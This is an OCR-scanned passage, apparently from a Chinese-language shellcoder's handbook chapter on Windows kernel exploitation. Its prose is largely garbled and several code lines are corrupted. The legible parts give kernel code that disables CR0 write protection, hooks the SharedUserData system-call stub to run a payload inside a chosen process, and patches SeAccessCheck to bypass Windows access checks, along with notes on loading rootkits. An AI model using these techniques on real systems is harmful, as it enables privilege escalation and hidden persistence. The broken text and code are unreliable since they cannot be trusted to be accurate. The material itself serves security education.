T BTGk, AT TR AAEROERIN_ LT SCRAATH P B ARAT0 1 BB R AR B, 3K
BRI T o SCIRUKH B, RATTT AR AR, TR K ring 0, AAJRACIRAIMIARAE B
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RRAT GEMYPsEshell) FA (dropinto) BALocalSystemiZAT(HERE . XA AL 57—kt
MR TRITVEAMBERR, MRERANNBROIGOREIBEM R, SHAL SHHLLRE.

R TIENGA, RAMESRAOXFE IS H—NERERRLWEAN, T4l shared-
UserDate!SystenCallStub (ZHI7EAFEM S ithiigid ) REM (BEAWindows XPRLL L
A, BRI, MBS KRR G N RATRITORE. FHER
ZERE LB

) BFHAFESRY, ERIVGFRLEMAFE (pass-through) fRF3 % FF At #sharea-
UserDatalX k. XBAUED &K MARARNPID, FERF SR EIRLR, WELE,
R PATRAT AT o

R REAARRG M. REMNGA P RABTARRRAN, FEREAR? #F
BT LB AYAT! B, RIEERRLAERKAHFE, BitEAEER (4
PEB) ¢4 (ARG R E—MFL, HFIITCETHT, TAREHTAEA B 47, R
A LM R —HFHRAREEMFL, wRECKELTRED, FAFARAAR
BPST, o RETEAMEAE, WK E g RIAT,

— HARAHAT L R RPID AR AL, BT V8 F BA (¥ systemCal 1 Stubi ¥4t «
BATMTEB (Thread Environment Block) (73 Fi##2fIPID.
(2) B0, R RAI A ik systemCallStunth T 7ESERZ BB T .«
(3) st systemCallStub, ##HRAIM FENRI.
(@) TR TR AEORG, T b T
KIS H T HEREHLE, mmwmmw SO RCHREOK S
NTSTATUS Sh dU (DWORD
(char usermodepayload(] = { 0x90, // NOP

0xC3 // RET

}i

char passthrough(] =
{

0x50, // PUSH EAX
0x64, 0xAl, 0x18, 0x00, 0x00, 0x00, // MOV EAX,DWORD PTR FS: (18]

0x8B, 0x40, 0x20, // MOV EAX,DWORD PTR DS:[EAX + 20]
0x3B, 0x05, O0xF4, 0x03, OXFE, Ox7F, // CMP EAX,DWORD PTR DS:[7FFEO3FC]
0x75, 0x07, /1 INzZ exit

0xB8, 0x00, 0x05, OXFE, O0x7F, // MOV EAX,OX7TFFE0500

OXFF, 0xDO, // CALL EAX

/% exit: */
0x58, /1 POPAD
OXFF, 0x25, OxF8, 0x03, OXFE, OX7F, // JMP DWORD PTR DS:[7FFE03F8)
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DWORD *pdwPassThruAddr = (DWORD *) O0X7FFE040!
DWORD *pdwTargetPidAddr = (DWORD *) OxX7FFEO3F
DWORD *pdwNewSystemCallStub = (DWORD *) OX7FFEO3F!
DWORD *pdwOriginalSystemCallStub = (DWORD *) OX7FFE030I

DWORD *pdwUsermodePayloadAddr = (DWORD *) OX7FFE0500;
// Disable write protection

_asm {
push eax
mov eax, cr0
and eax, not 10000h
mov cr0, eax

pop eax

}
memepy ( (VOID *) . sizeof 1:
memepy ( (VOID *) 0x7FFE0500, d, sizeof )i

*pawrargetPidAddr = dwTargetPid;

// Disable interrupts
asm { cli )

*pdwNewSystemCallStub = *pdwOriginalSystemCallStub;
*pdworiginalSystemCallStub = (DWORD) ;

// Re-enable interrupts
asm { sti )
// Re-enable memory protection

asm ( push eax
mov eax, cr0
or eax, 10000h
mov cr0, eax
pop eax

return STATUS_SUCCESS;

)

LA U AT T HINOPALR M A P MR AT . JESh, B Mshareduserpate £
FPRARAER, B, 7E/RMDEPRIRZ L, HEY kdtisharequserpatebFid RAIIAT. RAI
T LA B0 T 4K 4 5 B AR RN 40 E (PIDZ A Sl AE Bk 4 bk o
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2763 HEAZRS
AMRATH B RBOR A T FVIR, X AR AR 4 B0 . WindowsRAHI%
255450 J& T SRM ( Security Reference Monitor) B 3B fy . — B F2 . XA 8 BoH B
SeAccessCheck, Hintosken1#fit. € Fl MR8 BSR V) AL 757 LU T ¥ 22 24
BRI RIREFRY IR . AN RE, S R RAE T TR AR, SR DA
MRV IR, BATAT LU B AR TSI A H . B — F SeAccessCheck iR
'BOOLEAN
SeAccessCheck (
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN PSECURITY_SUBJECT_CONTEXT SubjectSecurityContext,
IN BOOLEAN SubjectContextLocked,
IN ACCESS_MASK DesiredAccess,
IN ACCESS_MASK PreviouslyGrantedAccess,
OUT PPRIVILEGE SET *Privileges OPTIONAL,
IN PGENERIC_MAPPING GenericMapping,
IN KPROCESSOR_MODE AccessMode,
OUT PACCESS_MASK GrantedAccess,
OUT PNTSTATUS AccessStatus
Vi
SeAccessCheck —MKTIHAMEH . MIFLIFARICH, BIFM, HLMHBET
AccessModeZ H{fI{H :
kd> u SeAccessCheck
nt!SeAccessCheck:

80563cc8 8bff mov edi, edi
80563cca 55 push  ebp

80563cch 8bec mov ebp, esp

80563ccd 53 push  ebx

80563cce 33db xor ebx, ebx

80563cd0 385424 cmp [ebp+0x24] , b1

80563cd3 0£8440ce0000 je nt!SeAccessCheck+0xd (80570b19)

AccessModeZ YU & € R AL WA SN R VT X RATAUR, B0UR B A PR IR ok
By — BN B BRATRED, REHZEMETE T, W T TRV AR . Eitk,
BATATLME  fR QB hamp, MTTHAE R PR WEMR, HIIT “RENL” B4R
2.

AT EIXANRAT:

push eax

// Disable interrupts so that we won't get preempted half way through
which may leave the patch incomplete
cli
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// Disable the write protect bit in Control Register 0 (CRO) so that we
can write to kernel code pages

mov eax, cr0

and eax, not 10000h

mov cr0, eax

// Overwrite the je with a nop; jmp
mov eax, 0x80563cd3
mov word ptr [eax], 0xe990

// Re-enable the write protect bit
mov eax, crd

or eax, 10000h

mov cr0, eax

//Re-enable interrupts.

sti

pop eax

VERG, RAMEA (AR BE%TY (K SeaccessChecikdiilit . 4 T AEXANMRTTE AL, BATATLUE
B AR Windows (¥ i 2 36 4% 0 38 1) 250 5 M ik o AT AT LA it #E nosken (F 4 HY 8 B A 4R
SeAccessCheck(jHihl:, JFIM I PAT 18] 144 S 40 B84R H IEBR I S efti &, e SUEMEBIBNAIE N .

27.6.4 ¥ rootkit

AT S P A AR IR K i frootkit. T IIAMH— 263 WA F7 3.

BT 77 TR RV R ferootkitDh 46 R BE & SR BN FLT, #AJS i id Native APIE #(zwLoadDriver
B AR . XA 6 307 #HKLM\ System\CurruntControlSet \ Services\<DriverName>
VPR R 1A NMRAEAT B B 2 (K Imagepath T4 . XN RBAHE, MIHZF,
rootkit.comfiGreg Hoglund’\FFFJ/J &E!rf—‘* JX'\)J VA8 7 Native APIER¥{zwSetSystemn-
Inf ion, {Eh 2000-q3/0114.thml 7] LA B 48 %
a1

HUR A BATIE BT Ering 4L, WTLLRAIS — MRy i HRCAES TR, fERE
LEsR 4 L (Rrootkit S BIHENK, TEMREMIHE, LH e MmN,

ST IF Krootkits /it S H 17 B, RATAINKE % Greg HoglundHlJamie Bullter /57 # ) Rootkits:

ing the Windows KernelFIRic VielerIT #f ional Rootkits .
27.7 #% shellcoder By i3 F}

I SRARAT NRIE R W R bug, FFAR T RS VEM OB AR T, RATHERE FIX L. R
AR AR L PR B AR AT, {8 55 A0 A 4RI RIRAR H B bug BB AR AR
b, Brili RN BEIRE AR DI
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AT T — ek W) FBAER BT 0 AL BRI, JFIHe T — e R aRAT . AR EE T
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